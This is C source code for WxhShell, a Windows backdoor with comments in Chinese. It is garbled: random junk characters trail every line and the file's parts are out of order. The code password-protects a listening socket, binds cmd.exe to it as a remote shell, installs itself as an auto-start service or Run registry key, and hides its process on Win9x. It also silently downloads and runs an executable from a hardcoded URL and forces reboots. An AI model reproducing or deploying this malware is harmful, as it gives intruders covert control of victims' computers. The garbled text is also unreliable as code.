    else { E3]WRF;l  
    closesocket(wsh); $ VP1(C  
    ExitThread(0); hW< v5!,  
    } @q q"X'3t  
    break; Wi'}d6c  
    } HOF$(86zqA  
  // 获取shell X["xC3 i  
  case 's': { G+t:]\  
    CmdShell(wsh); &Xqxuy ]J  
    closesocket(wsh); mV$ebFco0  
    ExitThread(0); 4n@lrcq(  
    break; m(6d3P  
  } a[(OeVQ5  
  // 退出 qul#)HI  
  case 'x': { dkZe.pv$j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >m,hna]RZ  
    CloseIt(wsh); |uqI}6h.  
    break; ,_I rE  
    } I /MY4?(T  
  // 离开 bYnq,JRA  
  case 'q': { $2?AJ/2r$b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0!_?\)X  
    closesocket(wsh); R=lw}jH[Z  
    WSACleanup(); ;*M@LP{*L  
    exit(1); "J1A9|  
    break; ?<TJ}("/  
        } 49$<:{~  
  } 7upko9d/  
  } h @!p:]  
7GYf#} N  
  // 提示信息 :^v Q4/,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gl1XRNy C  
} *;Mi/^pzK  
  } |'nQvn:{  
7"!b5(4=  
  return; q[,p#uJ]  
} yu6{6 [  
O -1O@:}c  
// shell模块句柄 J* *(7d  
int CmdShell(SOCKET sock) ~v.mbh  
{ jtP*C_Scv/  
STARTUPINFO si; :ZV |8xI  
ZeroMemory(&si,sizeof(si)); ERpAV-Zf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zj2 si  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t]$n~!  
PROCESS_INFORMATION ProcessInfo; [-])$~WfW  
char cmdline[]="cmd"; w={q@. g%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o@e/P;E  
  return 0; d_@ E4i  
} i[!|0U`p  
J rx^  
// 自身启动模式 )8@-  
int StartFromService(void) j Q5F}  
{ mH&7{2r  
typedef struct r ;RYGLx  
{ 4,I,f>V  
  DWORD ExitStatus; c>_ti+  
  DWORD PebBaseAddress; )S g6B;CJ  
  DWORD AffinityMask; D_DwP$wSo  
  DWORD BasePriority; k&ci5MpN  
  ULONG UniqueProcessId; &zdS9e-fF  
  ULONG InheritedFromUniqueProcessId; ""0 Y^M2I  
}   PROCESS_BASIC_INFORMATION; Rql/@j`JX  
mgAjD.  
PROCNTQSIP NtQueryInformationProcess; yYA*5 7^A  
V`^*Z}d9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ("2X8(3z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @N4_){s*  
ws'e  
  HANDLE             hProcess; .Vbd-jr'M  
  PROCESS_BASIC_INFORMATION pbi; n1."Qix0  
.SD-6GVD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .\R9tt}  
  if(NULL == hInst ) return 0; mWT+15\5r(  
PR%)3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )@NFV*@I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Ku4Il+36  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~)U50. CH  
&Hb%Q! ^Kb  
  if (!NtQueryInformationProcess) return 0; "lh4Vg\7n  
 J=` 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NN*L3yx  
  if(!hProcess) return 0; jIubJQR~  
}?s-$@$R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 23gN;eD+m6  
W"c\/]aD  
  CloseHandle(hProcess); 1<r!9x9G  
V~*Gk!+f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l=CAr  
if(hProcess==NULL) return 0; XV]N}~h o`  
72dRp!J U  
HMODULE hMod; z &EDW 5I  
char procName[255]; &=g3J4$z  
unsigned long cbNeeded; * ,a F-  
0= $/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q<&1,^ A  
.4zzPD$1  
  CloseHandle(hProcess); jJ#D`iog5  
g0B] ;Y>(  
if(strstr(procName,"services")) return 1; // 以服务启动 s2O()u-  
z% 8`F%2  
  return 0; // 注册表启动 d%7?913  
} COh#/-`\1  
>+M[!;m}  
// 主模块 8^UF0>`'  
int StartWxhshell(LPSTR lpCmdLine) jY=y<R_oK  
{ 9O;Sn+  
  SOCKET wsl; L7rgkxI7k*  
BOOL val=TRUE; ZmsYRk~@-  
  int port=0; & =[!L0{  
  struct sockaddr_in door; @z1QoZ^w  
\zBi-GI7  
  if(wscfg.ws_autoins) Install(); <P h50s4  
Wk%|%/:  
port=atoi(lpCmdLine); I3Vu/&8f|  
%1i:*~g  
if(port<=0) port=wscfg.ws_port; cq I $9  
'nTlCYT  
  WSADATA data; vi##E0,N'^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tWIOy6`  
hEZvi   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *K/K97  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5iA>Z!sP[  
  door.sin_family = AF_INET; I$; `^z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l U/Xi  
  door.sin_port = htons(port); IC cr  
cGV%=N^BE<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y_%:%J  
closesocket(wsl); xuXPVJdi  
return 1; <XLae'R  
} $g>bp<9v4  
syX?O'xJ  
  if(listen(wsl,2) == INVALID_SOCKET) { clvg5{^q[  
closesocket(wsl); ~+\=X`y  
return 1; H$I~Vz[\yb  
} ^#R`Uptib  
  Wxhshell(wsl); +f/ I>9G  
  WSACleanup(); NY.Cr.}  
IBa0O|*6  
return 0; MLd; UHU  
5M5Bm[X  
} |S8$NI2  
:!aLa}`@  
// 以NT服务方式启动 fI`Ez!w0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IWv(G Qx  
{ g{N}]_%Uh  
DWORD   status = 0; "@G[:(BoB<  
  DWORD   specificError = 0xfffffff; { )qr3-EM#  
2y`h'z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IWo'{pk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _[6sr7H!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3yx[*'e$  
  serviceStatus.dwWin32ExitCode     = 0; ljbAfd  
  serviceStatus.dwServiceSpecificExitCode = 0; 1V2]@VQF  
  serviceStatus.dwCheckPoint       = 0; fu!T4{2  
  serviceStatus.dwWaitHint       = 0; w9|x{B  
dj0%?g>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9`f@"%h  
  if (hServiceStatusHandle==0) return; $FPq8$V  
(.#nl}fA  
status = GetLastError(); X_78;T)uA  
  if (status!=NO_ERROR) J 1w[gf]J  
{ g  *,O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #L.,aTA<  
    serviceStatus.dwCheckPoint       = 0; sa.H,<;  
    serviceStatus.dwWaitHint       = 0; VP1hocW  
    serviceStatus.dwWin32ExitCode     = status; F6U#EvL  
    serviceStatus.dwServiceSpecificExitCode = specificError; # xO PF9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R'gd/.[e  
    return; (2b${Q@V  
  } .)/ ."V  
m7k }k)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dXTD8 )&  
  serviceStatus.dwCheckPoint       = 0; )c11_1;  
  serviceStatus.dwWaitHint       = 0; lAnq2j|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V*n$$-5 1-  
} wNmpUO ?  
]gBnzh.  
// 处理NT服务事件,比如:启动、停止 Z^'~iU-?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T";evM66  
{ sK#) k\w>  
switch(fdwControl) ST{Vi';}  
{ c0o]O[  
case SERVICE_CONTROL_STOP: s*rR> D:  
  serviceStatus.dwWin32ExitCode = 0; .))g]CH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zQ+Mu^|u+  
  serviceStatus.dwCheckPoint   = 0; {Z c8,jm  
  serviceStatus.dwWaitHint     = 0; 6k hBT'n  
  { /l<(i+0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N}#Rw2Vl  
  } JU)^b V_  
  return; (utP@d^  
case SERVICE_CONTROL_PAUSE: z|Y54o3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =w3A{h"^  
  break; ^iONC&r  
case SERVICE_CONTROL_CONTINUE: =AO (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]njNSn  
  break; r|l?2 eO~  
case SERVICE_CONTROL_INTERROGATE: \ ITd\)F%N  
  break; ec ;  
}; zTc;-,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /phMrL=  
} !; >s.]  
O+W<l:|$  
// 标准应用程序主函数 Rrh6-]A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4bk`i*-O  
{ [RXLR#  
Fv]6 a n.  
// 获取操作系统版本 6,5h4[eF*  
OsIsNt=GetOsVer(); o}Grb/LJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8y27O  
'xta/@Sq  
  // 从命令行安装 S TWH2_`  
  if(strpbrk(lpCmdLine,"iI")) Install(); kl]V_ 7[  
,ciX *F"  
  // 下载执行文件 rN 9qH  
if(wscfg.ws_downexe) { 9]v,3'QI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X$UK;O  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?3~t%Q`  
} vb[0H{TT2  
'9!_:3[d\]  
if(!OsIsNt) { (#y2R F8j  
// 如果时win9x,隐藏进程并且设置为注册表启动 g7! LX[  
HideProc(); C<_\{de|9  
StartWxhshell(lpCmdLine); xT 06*wQ  
} &pY '  
else ^`!+7!  
  if(StartFromService()) ^'=[+  
  // 以服务方式启动 ))AxU!*.  
  StartServiceCtrlDispatcher(DispatchTable); }W^@mi  
else C`r:jA<LC,  
  // 普通方式启动 kSV(T'#x  
  StartWxhshell(lpCmdLine); ^mL X}E]  
rCF=m]1zxT  
return 0; v7pu  
} (kR NqfX  
\0 ~?i6o  
Fj`k3~tUw  
n{N0S^h  
=========================================== `qJJ{<1&U  
)5( jx  
\lG)J0  
C<=rnIf'  
%.d.h;^T  
m]V#fRC  
" CF>&mXg\  
* sldv  
#include <stdio.h> ,Vq$>T@z  
#include <string.h> x'0_lf</ #  
#include <windows.h> '!A}.wF0  
#include <winsock2.h> {F wvuk  
#include <winsvc.h> 'ge$}L}4  
#include <urlmon.h> 9 C)VW  
\i+AMduAo  
#pragma comment (lib, "Ws2_32.lib") by+xK~>  
#pragma comment (lib, "urlmon.lib") LilK6K  
Dh4 Lffy  
#define MAX_USER   100 // 最大客户端连接数 pnuo;rs  
#define BUF_SOCK   200 // sock buffer FaCW +9B  
#define KEY_BUFF   255 // 输入 buffer 0 7Yak<+~  
w)|9iL8  
#define REBOOT     0   // 重启 pfZ[YC-  
#define SHUTDOWN   1   // 关机 FdE?uw  
'4M{Xn}@  
#define DEF_PORT   5000 // 监听端口 m!KEK\5M?  
NxF:s,a6  
#define REG_LEN     16   // 注册表键长度 g$NUu  
#define SVC_LEN     80   // NT服务名长度 x:0swZ5Z  
Gx$m"Jeq\  
// 从dll定义API d;<'28A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F5X9)9S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : j kO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C7F\Y1Wj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OCu_v%G 0  
T;3qE1c  
// wxhshell配置信息 FS 5iUH+5  
struct WSCFG { =~JVU  
  int ws_port;         // 监听端口 iDcTO}  
  char ws_passstr[REG_LEN]; // 口令 Zj -#"Gm  
  int ws_autoins;       // 安装标记, 1=yes 0=no adu6`2 *$  
  char ws_regname[REG_LEN]; // 注册表键名 o@N[O^Q V  
  char ws_svcname[REG_LEN]; // 服务名 _`p-^ I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C[.Xi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f3Zf97i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sed 8Q-m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lv?`+tU2_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @?e~l:g})g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y0Gblza  
c$,1j%[)  
}; ^;ZpK@Luk  
-HGRrWS  
// default Wxhshell configuration 4 .c1  
struct WSCFG wscfg={DEF_PORT, 8H-yT1  
    "xuhuanlingzhe", c $r"q :\  
    1, E[#VWM I  
    "Wxhshell", SrH::-{  
    "Wxhshell", OD7^*j(p`  
            "WxhShell Service", I'BHNZO5tf  
    "Wrsky Windows CmdShell Service", TrzAgNt  
    "Please Input Your Password: ", va_u4  
  1, /ojx$Um  
  "http://www.wrsky.com/wxhshell.exe", qCI7)L`  
  "Wxhshell.exe" Mi#i 3y(  
    }; lr4wz(q<9  
7_PY%4T"  
// 消息定义模块 zWU]4;,"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uhr2"Nuuy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $)@D(m,ybd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rR":}LA^d  
char *msg_ws_ext="\n\rExit."; b>QdP$>  
char *msg_ws_end="\n\rQuit."; )NhC+=N  
char *msg_ws_boot="\n\rReboot..."; 2~\SUGW-  
char *msg_ws_poff="\n\rShutdown..."; 5.ab/uk;M  
char *msg_ws_down="\n\rSave to "; QY4;qA  
&k,DAx`rN;  
char *msg_ws_err="\n\rErr!"; ECi;o1hda  
char *msg_ws_ok="\n\rOK!"; m5 sW68  
 ?;v\wx  
char ExeFile[MAX_PATH]; ?o.d FKUe  
int nUser = 0; oh:9v+  
HANDLE handles[MAX_USER]; %\,9S`0  
int OsIsNt; _BA; H+M  
xDU \mfeGj  
SERVICE_STATUS       serviceStatus; ?7V~>i8[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9#7W+9  
yYGs] +  
// 函数声明 ~C^:SND7  
int Install(void); #<==7X#  
int Uninstall(void); \,Ws=9f  
int DownloadFile(char *sURL, SOCKET wsh); 3QBzyJW f  
int Boot(int flag); ,ja!OZ0$  
void HideProc(void); RtR@wZ2\s  
int GetOsVer(void); sQA_6]`  
int Wxhshell(SOCKET wsl); AB\Ya4O"9  
void TalkWithClient(void *cs); )%S@l<%@?  
int CmdShell(SOCKET sock); jZ-s6r2=  
int StartFromService(void); q/zU'7%@  
int StartWxhshell(LPSTR lpCmdLine); *]HnFP  
q=->) &D%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _p4]\LA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <A=1]'1\r  
&*" *b\  
// 数据结构和表定义 JDR_k  
SERVICE_TABLE_ENTRY DispatchTable[] = Uc:NW   
{ e(/F:ZEh  
{wscfg.ws_svcname, NTServiceMain}, VQqBo~  
{NULL, NULL} G\ F>*  
}; r!f UMDS  
v=iiS}s  
// 自我安装 +@^);b6  
int Install(void) Z5(9=8hB/  
{ X-nC2[tu'W  
  char svExeFile[MAX_PATH]; mj$Ucql  
  HKEY key; 6 /YJA*  
  strcpy(svExeFile,ExeFile); Le?g ,c  
3%5YUG@  
// 如果是win9x系统,修改注册表设为自启动 (eU4{X7  
if(!OsIsNt) { xE@/8h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P #! N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gZ^Qt.6Z  
  RegCloseKey(key); QPB,B>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;$&\ :-6A#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2kDY+AN;  
  RegCloseKey(key); cQhr{W,Un  
  return 0; v]{UH {6  
    } k*)sz  
  } YhV<.2^k  
} "g5{NjimY  
else { 'o}[9ZBjn  
\\\8{jq  
// 如果是NT以上系统,安装为系统服务 s.bo;lk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g|]HS4y  
if (schSCManager!=0) \Aro Sy9  
{ y(QFf*J  
  SC_HANDLE schService = CreateService ;x\oY6:  
  ( :Q"|%#P  
  schSCManager, 2H4vK]]Nl  
  wscfg.ws_svcname, hm73Zy  
  wscfg.ws_svcdisp, RV  V`  
  SERVICE_ALL_ACCESS, i:aW .QZ.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  "&k(lQ4  
  SERVICE_AUTO_START, #PD6LO  
  SERVICE_ERROR_NORMAL, <9ucpV  
  svExeFile, y8s!sO  
  NULL, _xv3UzD  
  NULL, exhU!p8  
  NULL, =w+8q1!o  
  NULL, :K^J bQ  
  NULL V2}\]x'1  
  ); VSY  p  
  if (schService!=0) h*l$!nEN  
  { ujxr/8mjV  
  CloseServiceHandle(schService); #{|cSaX<  
  CloseServiceHandle(schSCManager); Cty#|6 k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` 'Qb?F6  
  strcat(svExeFile,wscfg.ws_svcname); K2 M=)B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oh$:qu7o0&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D`WRy}o  
  RegCloseKey(key); |~BnE  
  return 0; PX|@D_%Y=  
    } @p*)^D6E\  
  } u5A?; a  
  CloseServiceHandle(schSCManager); oV:oc,  
} D;C';O  
} XJe=+_K9  
DO80HS3ZD  
return 1; =|agW.l  
} `?Q p>t  
(|^m9v0:  
// 自我卸载 QKj0~ia 5  
int Uninstall(void) HGGq;Nbm  
{ `RnWh9  
  HKEY key; WChP,hw  
QnVr)4"  
if(!OsIsNt) { l@B9}Icq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C*(  
  RegDeleteValue(key,wscfg.ws_regname); k B>F(^  
  RegCloseKey(key); AChz}N$C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |2q3spd  
  RegDeleteValue(key,wscfg.ws_regname); A0)^I:&  
  RegCloseKey(key); ]Orx %8QS!  
  return 0; d>hv-n D  
  } g.Xk6"kO  
} %)r ~GCd  
} oa:YAq T  
else { /J#(8p  
\A[l(aB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vt#;j;liG  
if (schSCManager!=0) w95M B*N  
{ o]oiJvOr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &+2l#3}  
  if (schService!=0) 06pvI}   
  { _Ub `\ytx  
  if(DeleteService(schService)!=0) { !e|\1v'0  
  CloseServiceHandle(schService); G7CeWfS  
  CloseServiceHandle(schSCManager); ls@]%pz.1d  
  return 0; R p&J!hlA  
  } [7v|bd  
  CloseServiceHandle(schService); 8v;^jo>ug  
  } BNK]Os  
  CloseServiceHandle(schSCManager); nzflUR{`-  
} zi-_l  
} o&q>[c  
@yuiNj .T  
return 1; p:4jY|q  
} gN=.}$Kfu  
G>V6{g2Q  
// 从指定url下载文件 n"EKVw7Y  
int DownloadFile(char *sURL, SOCKET wsh) @oAz  
{ SB\%"nnV  
  HRESULT hr; jn2=)KBa_  
char seps[]= "/"; A"V mxP  
char *token; >c,s}HJ  
char *file; 'Z`7/I4&  
char myURL[MAX_PATH]; y"JR kJ  
char myFILE[MAX_PATH]; KMRPleF  
=5+*TL`  
strcpy(myURL,sURL); 7<yc:}9nx  
  token=strtok(myURL,seps); LCHMh6  
  while(token!=NULL) (wDE!H7  
  { `$T$483/  
    file=token; F_ F"3'[  
  token=strtok(NULL,seps); cszvt2BIg  
  } sAkr-x?+M  
J$3g3%t  
GetCurrentDirectory(MAX_PATH,myFILE); _M^.4H2  
strcat(myFILE, "\\"); 5WQl?yMP  
strcat(myFILE, file); kTvM,<  
  send(wsh,myFILE,strlen(myFILE),0); K!-OUm5A  
send(wsh,"...",3,0); X$Vi=fvt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fW-C`x  
  if(hr==S_OK) mOE *[S)  
return 0; 3"y 6|e/5  
else .9jKD*U|  
return 1; z]G|)16  
(>v'0 RA  
} \/NF??k,jk  
M5^Y W#e  
// 系统电源模块 1-_r\sb  
int Boot(int flag) ||Zup\QB  
{ 9@ tp#  
  HANDLE hToken; V%s g+D2  
  TOKEN_PRIVILEGES tkp; S0,\{j  
HxG8 'G  
  if(OsIsNt) { o<`hj&s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =gB5JB<}2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^|Q]WHNFB  
    tkp.PrivilegeCount = 1; {D +mr[ %  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oh9 ;_~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jm^.E\_  
if(flag==REBOOT) { P\jGyS j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JVE\{ e)  
  return 0; _wq?Pa<)e  
} " 9Gn/-V>  
else { ||$&o!;/L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %**f`L%jN  
  return 0; O`5,L[i1y  
} *T5;d h (  
  } P$)g=/td1  
  else { = S&`~+  
if(flag==REBOOT) { C?<pD+]b_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q.mJ7T~T  
  return 0; /at7 H!  
} tb3V qFx  
else { qkb'@f=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NX @FUct;  
  return 0; PMzPj,  
} nr!N%Hi  
} g52a vG  
^#/FkEt7bp  
return 1; %MHb  
} U&5* >fd=  
#.Rn6|V/4  
// win9x进程隐藏模块 XjX  
void HideProc(void) l:85 _E  
{ /(N/DMl[  
V>{< pS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t[^$F,  
  if ( hKernel != NULL ) ~3&{`9Y  
  { %ByPwu:f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~4~`bT9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yYG<tUG;  
    FreeLibrary(hKernel); .w2ID  
  } .Mt3e c<  
FcDS*ZEk!  
return; Yd^@Ei9  
} !gsvF\XDM  
^kez]>   
// 获取操作系统版本 rd%%NnT"  
int GetOsVer(void) )#=J<OpG  
{ ]\$/:f-2  
  OSVERSIONINFO winfo; +# W94s~0V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {MUB4-@?F$  
  GetVersionEx(&winfo); r~4uIUE{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7u):J  
  return 1; zzqJeIS  
  else Uzu6>yT  
  return 0; [M?2axOC  
} HgI!q<)  
V$^jlWdR  
// 客户端句柄模块 {28|LwmL  
int Wxhshell(SOCKET wsl) $XBK_ 5  
{ ?^}30V:E  
  SOCKET wsh; TCtZ2 <'  
  struct sockaddr_in client; %bW_,b  
  DWORD myID; {zdMmpQF  
c'2d+*[  
  while(nUser<MAX_USER) rqdwQ  
{ !rvEo =^  
  int nSize=sizeof(client); ~wc :/UM|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uV/5f#)  
  if(wsh==INVALID_SOCKET) return 1; JxAQ,oOO  
qWt}8_"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -yYdj1y;  
if(handles[nUser]==0) VtreOJ+  
  closesocket(wsh); #(8|9  
else qUe _B  
  nUser++; z6>@9+V-&  
  } @f!X%)\;x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1>!LK_  
Cy/&KWLenf  
  return 0; U|(+-R8Z  
} d0 cL9&~qW  
EY}:aur  
// 关闭 socket em$pU*`P  
void CloseIt(SOCKET wsh) y_]+;%w:  
{ 1<@SMcj>  
closesocket(wsh); mkl{Tp*  
nUser--; ,$P,x  
ExitThread(0); FR&`R  
} _T=g?0 q  
VFHd2Ea(  
// 客户端请求句柄 LF<&gC  
void TalkWithClient(void *cs) YO6BzS/~  
{ cTqkM@S  
cNs'GfD}  
  SOCKET wsh=(SOCKET)cs; 1J@Iekat  
  char pwd[SVC_LEN]; vqf$("  
  char cmd[KEY_BUFF]; tYS4"Nfb+  
char chr[1]; U, 6iT  
int i,j; ZzT=m*tQ&  
s='+[*&&  
  while (nUser < MAX_USER) { !xM5 A[f  
KWTV!Wxb=K  
if(wscfg.ws_passstr) { 5=dL`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B@,9Cx564  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {|;a?] ?  
  //ZeroMemory(pwd,KEY_BUFF); K|& f5w  
      i=0; zmMc*|  
  while(i<SVC_LEN) { /r}L_wI  
wBPo{  
  // 设置超时 ITu19WG  
  fd_set FdRead; YFKE>+  
  struct timeval TimeOut; 9 _d2u#  
  FD_ZERO(&FdRead); }x8!{Y#cF  
  FD_SET(wsh,&FdRead); xo:kT)  
  TimeOut.tv_sec=8; hy;VvAH 5  
  TimeOut.tv_usec=0; IRdt:B|@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O 4 !$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E+td~&x  
hbjAxioA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l,ENMKA^D  
  pwd=chr[0]; #;!&8iH  
  if(chr[0]==0xd || chr[0]==0xa) { 'sNZFB#  
  pwd=0; W&z jb>0b0  
  break; )Q)qz$h@  
  } BFLef3~.0  
  i++; 7>JYwU{  
    } yNTd_XPL  
IThd\#=  
  // 如果是非法用户,关闭 socket . ,7bGY 1$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R>Ra~ b  
} n|`3d~9$&  
n ]ikc|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rg/{5f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '<Z[e`/  
yDWIflP0;  
while(1) { }5o?7} ?  
]rcF/uQJ<n  
  ZeroMemory(cmd,KEY_BUFF); '\Xkvi  
R>' %}|v/  
      // 自动支持客户端 telnet标准   _k-_&PR  
  j=0; "kg`TJf=  
  while(j<KEY_BUFF) { 7#8Gn=g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z`Yt~{,Q  
  cmd[j]=chr[0]; pwUXM?$R  
  if(chr[0]==0xa || chr[0]==0xd) { I[Ra0Q>([k  
  cmd[j]=0; `:/'")+@v  
  break; u\R?(G&  
  } %p Wn9  
  j++; 6iC>CY3CG  
    } bbm\y] !t  
5*0zI\  
  // 下载文件 Iq$| ?MH  
  if(strstr(cmd,"http://")) { )U^=`* 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :qYp%Ub  
  if(DownloadFile(cmd,wsh)) 8$00\><r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -(VJ,)8t2  
  else ul{x|R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mh }M|h5Im  
  } z^Q'GBoBA  
  else { H`EhsYYK  
gY}In+S  
    switch(cmd[0]) { Hxu5Dx5![  
  > A#5` $i  
  // 帮助 _0/unJl`  
  case '?': { Dc9uq5l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k.@![w\ea  
    break; Z9{~t  
  } J8|MK.oD  
  // 安装 Daf|.5>(@  
